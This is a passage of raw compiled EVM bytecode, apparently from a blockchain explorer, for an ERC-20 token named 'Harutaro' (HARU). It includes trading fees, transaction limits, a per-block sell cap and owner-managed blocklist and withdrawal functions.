5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036119b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a8906135ca565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a8b9190612b20565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afd90613658565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6b906136e6565b60405180910390fd5b5f8111611bb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bad90613774565b60405180910390fd5b5f5f9050611bc2610e44565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611c305750611c00610e44565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156121ae5760045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611cd3575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b611cdb575f5ffd5b5f600e5403611d2357611d206064611d12600a54600e5411611cff57600654611d03565b6008545b8561279390919063ffffffff16565b61280a90919063ffffffff16565b90505b5f600e541115611d5857611d556064611d47600d548561279390919063ffffffff16565b61280a90919063ffffffff16565b90505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611e01575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611e54575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611f4c57600f54821115611e9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e95906137dc565b60405180910390fd5b60105482611eab85610b37565b611eb591906137fa565b1115611ef6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eed90613877565b60405180910390fd5b611f326064611f24600a54600e5411611f1157600654611f15565b6008545b8561279390919063ffffffff16565b61280a90919063ffffffff16565b9050600e5f815480929190611f4690613895565b91905055505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611fd457503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15612018576120156064612007600b54600e5411611ff457600754611ff8565b6009545b8561279390919063ffffffff16565b61280a90919063ffffffff16565b90505b5f61202230610b37565b9050601460159054906101000a900460ff1615801561208d575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156120a55750601460169054906101000a900460ff165b80156120b2575060115481115b80156120c15750600c54600e54115b156121ac575f60149054906101000a900460ff1615612101576120e3816124c0565b5f5f60146101000a81548160ff021916908315150217905550612176565b601654431115612113575f6015819055505b600360155410612158576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214f90613926565b60405180910390fd5b6121756121708461216b84601254612853565b612853565b6124c0565b5b5f4790505f81111561218c5761218b4761272b565b5b60155f81548092919061219e90613895565b919050555043601681905550505b505b5f8111156122ad576122068160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461286b90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516122a49190612b20565b60405180910390a35b6122fd8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546128c890919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506123a061235482846128c890919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461286b90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61244384866128c890919063ffffffff16565b6040516124509190612b20565b60405180910390a350505050565b5f8383111582906124a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249c91906129e2565b60405180910390fd5b505f83856124b39190613944565b9050809150509392505050565b6001601460156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156124f7576124f6612b3d565b5b6040519080825280602002602001820160405280156125255781602001602082028036833780820191505090505b50905030815f8151811061253c5761253b6131bf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156125e0573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061260491906133a4565b81600181518110612618576126176131bf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061267e3060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846118d5565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016126e0959493929190613a2e565b5f604051808303815f87803b1580156126f7575f5ffd5b505af1158015612709573d5f5f3e3d5ffd5b50505050505f601460156101000a81548160ff02191690831515021790555050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561278f573d5f5f3e3d5ffd5b5050565b5f5f83036127a3575f9050612804565b5f82846127b0919061317e565b90508284826127bf9190613ab3565b146127ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127f690613b53565b60405180910390fd5b809150505b92915050565b5f61284b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612911565b905092915050565b5f8183116128615782612863565b815b905092915050565b5f5f828461287991906137fa565b9050838110156128be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128b590613bbb565b60405180910390fd5b8091505092915050565b5f61290983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061245e565b905092915050565b5f5f83118290612957576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294e91906129e2565b60405180910390fd5b505f83856129659190613ab3565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6129b482612972565b6129be818561297c565b93506129ce81856020860161298c565b6129d78161299a565b840191505092915050565b5f6020820190508181035f8301526129fa81846129aa565b905092915050565b5f604051905090565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612a3c82612a13565b9050919050565b612a4c81612a32565b8114612a56575f5ffd5b50565b5f81359050612a6781612a43565b92915050565b5f819050919050565b612a7f81612a6d565b8114612a89575f5ffd5b50565b5f81359050612a9a81612a76565b92915050565b5f5f60408385031215612ab657612ab5612a0b565b5b5f612ac385828601612a59565b9250506020612ad485828601612a8c565b9150509250929050565b5f8115159050919050565b612af281612ade565b82525050565b5f602082019050612b0b5f830184612ae9565b92915050565b612b1a81612a6d565b82525050565b5f602082019050612b335f830184612b11565b92915050565b5f5ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b612b738261299a565b810181811067ffffffffffffffff82111715612b9257612b91612b3d565b5b80604052505050565b5f612ba4612a02565b9050612bb08282612b6a565b919050565b5f67ffffffffffffffff821115612bcf57612bce612b3d565b5b602082029050602081019050919050565b5f5ffd5b5f612bf6612bf184612bb5565b612b9b565b90508083825260208201905060208402830185811115612c1957612c18612be0565b5b835b81811015612c425780612c2e8882612a59565b845260208401935050602081019050612c1b565b5050509392505050565b5f82601f830112612c6057612c5f612b39565b5b8135612c70848260208601612be4565b91505092915050565b5f60208284031215612c8e57612c8d612a0b565b5b5f82013567ffffffffffffffff811115612cab57612caa612a0f565b5b612cb784828501612c4c565b91505092915050565b5f5f5f60608486031215612cd757612cd6612a0b565b5b5f612ce486828701612a59565b9350506020612cf586828701612a59565b9250506040612d0686828701612a8c565b9150509250925092565b5f60ff82169050919050565b612d2581612d10565b82525050565b5f602082019050612d3e5f830184612d1c565b92915050565b5f60208284031215612d5957612d58612a0b565b5b5f612d6684828501612a59565b91505092915050565b612d7881612a32565b82525050565b5f602082019050612d915f830184612d6f565b92915050565b5f5f60408385031215612dad57612dac612a0b565b5b5f612dba85828601612a59565b9250506020612dcb85828601612a59565b9150509250929050565b612dde81612ade565b8114612de8575f5ffd5b50565b5f81359050612df981612dd5565b92915050565b5f60208284031215612e1457612e13612a0b565b5b5f612e2184828501612deb565b91505092915050565b5f60208284031215612e3f57612e3e612a0b565b5b5f612e4c84828501612a8c565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612e8960208361297c565b9150612e9482612e55565b602082019050919050565b5f6020820190508181035f830152612eb681612e7d565b9050919050565b5f81519050612ecb81612a76565b92915050565b5f60208284031215612ee657612ee5612a0b565b5b5f612ef384828501612ebd565b91505092915050565b7f4e6f204c5020746f6b656e7320746f206275726e0000000000000000000000005f82015250565b5f612f3060148361297c565b9150612f3b82612efc565b602082019050919050565b5f6020820190508181035f830152612f5d81612f24565b9050919050565b5f606082019050612f775f830186612d6f565b612f846020830185612d6f565b612f916040830184612b11565b949350505050565b5f81519050612fa781612dd5565b92915050565b5f60208284031215612fc257612fc1612a0b565b5b5f612fcf84828501612f99565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b600185111561305a5780860481111561303657613035612fd8565b5b60018516156130455780820291505b808102905061305385613005565b945061301a565b94509492505050565b5f82613072576001905061312d565b8161307f575f905061312d565b8160018114613095576002811461309f576130ce565b600191505061312d565b60ff8411156130b1576130b0612fd8565b5b8360020a9150848211156130c8576130c7612fd8565b5b5061312d565b5060208310610133831016604e8410600b84101617156131035782820a9050838111156130fe576130fd612fd8565b5b61312d565b6131108484846001613011565b9250905081840481111561312757613126612fd8565b5b81810290505b9392505050565b5f61313e82612a6d565b915061314983612d10565b92506131767fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613063565b905092915050565b5f61318882612a6d565b915061319383612a6d565b92508282026131a181612a6d565b915082820484148315176131b8576131b7612fd8565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f61321861321361320e846131ec565b6131f5565b612a6d565b9050919050565b613228816131fe565b82525050565b5f6020820190506132415f83018461321f565b92915050565b7f4e6f20746f6b656e7320746f20726573637565000000000000000000000000005f82015250565b5f61327b60138361297c565b915061328682613247565b602082019050919050565b5f6020820190508181035f8301526132a88161326f565b9050919050565b5f6132c96132c46132bf84612a13565b6131f5565b612a13565b9050919050565b5f6132da826132af565b9050919050565b5f6132eb826132d0565b9050919050565b6132fb816132e1565b82525050565b5f6040820190506133145f8301856132f2565b6133216020830184612b11565b9392505050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61335c60178361297c565b915061336782613328565b602082019050919050565b5f6020820190508181035f83015261338981613350565b9050919050565b5f8151905061339e81612a43565b92915050565b5f602082840312156133b9576133b8612a0b565b5b5f6133c684828501613390565b91505092915050565b5f6040820190506133e25f830185612d6f565b6133ef6020830184612d6f565b9392505050565b5f60c0820190506134095f830189612d6f565b6134166020830188612b11565b613423604083018761321f565b613430606083018661321f565b61343d6080830185612d6f565b61344a60a0830184612b11565b979650505050505050565b5f5f5f6060848603121561346c5761346b612a0b565b5b5f61347986828701612ebd565b935050602061348a86828701612ebd565b925050604061349b86828701612ebd565b9150509250925092565b5f6040820190506134b85f830185612d6f565b6134c56020830184612b11565b9392505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61352660248361297c565b9150613531826134cc565b604082019050919050565b5f6020820190508181035f8301526135538161351a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6135b460228361297c565b91506135bf8261355a565b604082019050919050565b5f6020820190508181035f8301526135e1816135a8565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61364260258361297c565b915061364d826135e8565b604082019050919050565b5f6020820190508181035f83015261366f81613636565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6136d060238361297c565b91506136db82613676565b604082019050919050565b5f6020820190508181035f8301526136fd816136c4565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f61375e60298361297c565b915061376982613704565b604082019050919050565b5f6020820190508181035f83015261378b81613752565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f6137c660198361297c565b91506137d182613792565b602082019050919050565b5f6020820190508181035f8301526137f3816137ba565b9050919050565b5f61380482612a6d565b915061380f83612a6d565b925082820190508082111561382757613826612fd8565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f613861601a8361297c565b915061386c8261382d565b602082019050919050565b5f6020820190508181035f83015261388e81613855565b9050919050565b5f61389f82612a6d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036138d1576138d0612fd8565b5b600182019050919050565b7f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000005f82015250565b5f61391060178361297c565b915061391b826138dc565b602082019050919050565b5f6020820190508181035f83015261393d81613904565b9050919050565b5f61394e82612a6d565b915061395983612a6d565b925082820390508181111561397157613970612fd8565b5b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6139a981612a32565b82525050565b5f6139ba83836139a0565b60208301905092915050565b5f602082019050919050565b5f6139dc82613977565b6139e68185613981565b93506139f183613991565b805f5b83811015613a21578151613a0888826139af565b9750613a13836139c6565b9250506001810190506139f4565b5085935050505092915050565b5f60a082019050613a415f830188612b11565b613a4e602083018761321f565b8181036040830152613a6081866139d2565b9050613a6f6060830185612d6f565b613a7c6080830184612b11565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613abd82612a6d565b9150613ac883612a6d565b925082613ad857613ad7613a86565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613b3d60218361297c565b9150613b4882613ae3565b604082019050919050565b5f6020820190508181035f830152613b6a81613b31565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613ba5601b8361297c565b9150613bb082613b71565b602082019050919050565b5f6020820190508181035f830152613bd281613b99565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209260002e1c67dce8f64ea93b328011b1e868d2b733b781e944d2a0191431b6af64736f6c634300081c0033
Deployed Bytecode
0x608060405260043610610184575f3560e01c80637d1db4a5116100d0578063bfb80b1211610089578063dd62ed3e11610063578063dd62ed3e1461051b578063e4a40d6114610557578063ec1f3f631461057f578063f4293890146105a75761018b565b8063bfb80b12146104b5578063c9567bf9146104dd578063c97c1821146104f35761018b565b80637d1db4a5146103a75780638da5cb5b146103d15780638f9a55c0146103fb57806395d89b4114610425578063a9059cbb1461044f578063bf474bed1461048b5761018b565b806323b872dd1161013d57806351bc3c851161011757806351bc3c851461032957806370a082311461033f578063715018a61461037b578063751039fc146103915761018b565b806323b872dd14610287578063313ce567146102c35780633bbac579146102ed5761018b565b806306fdde031461018f578063095ea7b3146101b95780630b45260e146101f55780630faee56f1461020b57806318160ddd1461023557806321bbcbb11461025f5761018b565b3661018b57005b5f5ffd5b34801561019a575f5ffd5b506101a36105bd565b6040516101b091906129e2565b60405180910390f35b3480156101c4575f5ffd5b506101df60048036038101906101da9190612aa0565b6105fa565b6040516101ec9190612af8565b60405180910390f35b348015610200575f5ffd5b50610209610617565b005b348015610216575f5ffd5b5061021f610825565b60405161022c9190612b20565b60405180910390f35b348015610240575f5ffd5b5061024961082b565b6040516102569190612b20565b60405180910390f35b34801561026a575f5ffd5b5061028560048036038101906102809190612c79565b61084f565b005b348015610292575f5ffd5b506102ad60048036038101906102a89190612cc0565b610972565b6040516102ba9190612af8565b60405180910390f35b3480156102ce575f5ffd5b506102d7610a46565b6040516102e49190612d2b565b60405180910390f35b3480156102f8575f5ffd5b50610313600480360381019061030e9190612d44565b610a4e565b6040516103209190612af8565b60405180910390f35b348015610334575f5ffd5b5061033d610aa0565b005b34801561034a575f5ffd5b5061036560048036038101906103609190612d44565b610b37565b6040516103729190612b20565b60405180910390f35b348015610386575f5ffd5b5061038f610b7d565b005b34801561039c575f5ffd5b506103a5610ccd565b005b3480156103b2575f5ffd5b506103bb610e3e565b6040516103c89190612b20565b60405180910390f35b3480156103dc575f5ffd5b506103e5610e44565b6040516103f29190612d7e565b60405180910390f35b348015610406575f5ffd5b5061040f610e6b565b60405161041c9190612b20565b60405180910390f35b348015610430575f5ffd5b50610439610e71565b60405161044691906129e2565b60405180910390f35b34801561045a575f5ffd5b5061047560048036038101906104709190612aa0565b610eae565b6040516104829190612af8565b60405180910390f35b348015610496575f5ffd5b5061049f610ecb565b6040516104ac9190612b20565b60405180910390f35b3480156104c0575f5ffd5b506104db60048036038101906104d69190612d44565b610ed1565b005b3480156104e8575f5ffd5b506104f1611093565b005b3480156104fe575f5ffd5b5061051960048036038101906105149190612c79565b6115b4565b005b348015610526575f5ffd5b50610541600480360381019061053c9190612d97565b6116d6565b60405161054e9190612b20565b60405180910390f35b348015610562575f5ffd5b5061057d60048036038101906105789190612dff565b611758565b005b34801561058a575f5ffd5b506105a560048036038101906105a09190612e2a565b6117d3565b005b3480156105b2575f5ffd5b506105bb61185f565b005b60606040518060400160405280600881526020017f486172757461726f000000000000000000000000000000000000000000000000815250905090565b5f61060d6106066118ce565b84846118d5565b6001905092915050565b61061f6118ce565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a390612e9f565b60405180910390fd5b5f61dead90505f60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f8173ffffffffffffffffffffffffffffffffffffffff166370a082316106fc6118ce565b6040518263ffffffff1660e01b81526004016107189190612d7e565b602060405180830381865afa158015610733573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107579190612ed1565b90505f811161079b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079290612f46565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff166323b872dd6107bf6118ce565b85846040518463ffffffff1660e01b81526004016107df93929190612f64565b6020604051808303815f875af11580156107fb573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061081f9190612fad565b50505050565b60125481565b5f6009600a61083a9190613134565b6461f313f88061084a919061317e565b905090565b6108576118ce565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108db90612e9f565b60405180910390fd5b5f5f90505b815181101561096e57600160045f84848151811061090a576109096131bf565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806001019150506108e9565b5050565b5f61097e848484611a98565b610a3b8461098a6118ce565b610a3685604051806060016040528060288152602001613bda6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6109ed6118ce565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461245e9092919063ffffffff16565b6118d5565b600190509392505050565b5f6009905090565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ae06118ce565b73ffffffffffffffffffffffffffffffffffffffff1614610aff575f5ffd5b5f610b0930610b37565b90505f811115610b1d57610b1c816124c0565b5b5f4790505f811115610b3357610b328161272b565b5b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610b856118ce565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0990612e9f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610cd56118ce565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990612e9f565b60405180910390fd5b6009600a610d709190613134565b6461f313f880610d80919061317e565b600f819055506009600a610d949190613134565b6461f313f880610da4919061317e565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610dd99190613134565b6461f313f880610de9919061317e565b604051610df69190612b20565b60405180910390a15f600d819055507fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de35f604051610e34919061322e565b60405180910390a1565b600f5481565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60105481565b60606040518060400160405280600481526020017f4841525500000000000000000000000000000000000000000000000000000000815250905090565b5f610ec1610eba6118ce565b8484611a98565b6001905092915050565b60115481565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f116118ce565b73ffffffffffffffffffffffffffffffffffffffff1614610f30575f5ffd5b5f8190505f8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610f6e9190612d7e565b602060405180830381865afa158015610f89573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fad9190612ed1565b90505f8111610ff1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe890613291565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b815260040161104d929190613301565b6020604051808303815f875af1158015611069573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061108d9190612fad565b50505050565b61109b6118ce565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611128576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111f90612e9f565b60405180910390fd5b60148054906101000a900460ff1615611176576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116d90613372565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506112133060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6111fe9190613134565b6461f313f88061120e919061317e565b6118d5565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561127d573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112a191906133a4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611327573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061134b91906133a4565b6040518363ffffffff1660e01b81526004016113689291906133cf565b6020604051808303815f875af1158015611384573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113a891906133a4565b60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061142f30610b37565b5f5f611439610e44565b426040518863ffffffff1660e01b815260040161145b969594939291906133f6565b60606040518083038185885af1158015611477573d5f5f3e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061149c9190613455565b50505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161153c9291906134a5565b6020604051808303815f875af1158015611558573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061157c9190612fad565b506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff021916908315150217905550565b6115bc6118ce565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611649576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164090612e9f565b60405180910390fd5b5f5f90505b81518110156116d2575f60045f84848151811061166e5761166d6131bf565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550808060010191505061164e565b5050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117986118ce565b73ffffffffffffffffffffffffffffffffffffffff16146117b7575f5ffd5b805f60146101000a81548160ff02191690831515021790555050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166118136118ce565b73ffffffffffffffffffffffffffffffffffffffff1614611832575f5ffd5b600854811115801561184657506009548111155b61184e575f5ffd5b806008819055508060098190555050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661189f6118ce565b73ffffffffffffffffffffffffffffffffffffffff16146118be575f5ffd5b5f4790506118cb8161272b565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611943576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193a9061353c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036119b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a8906135ca565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a8b9190612b20565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160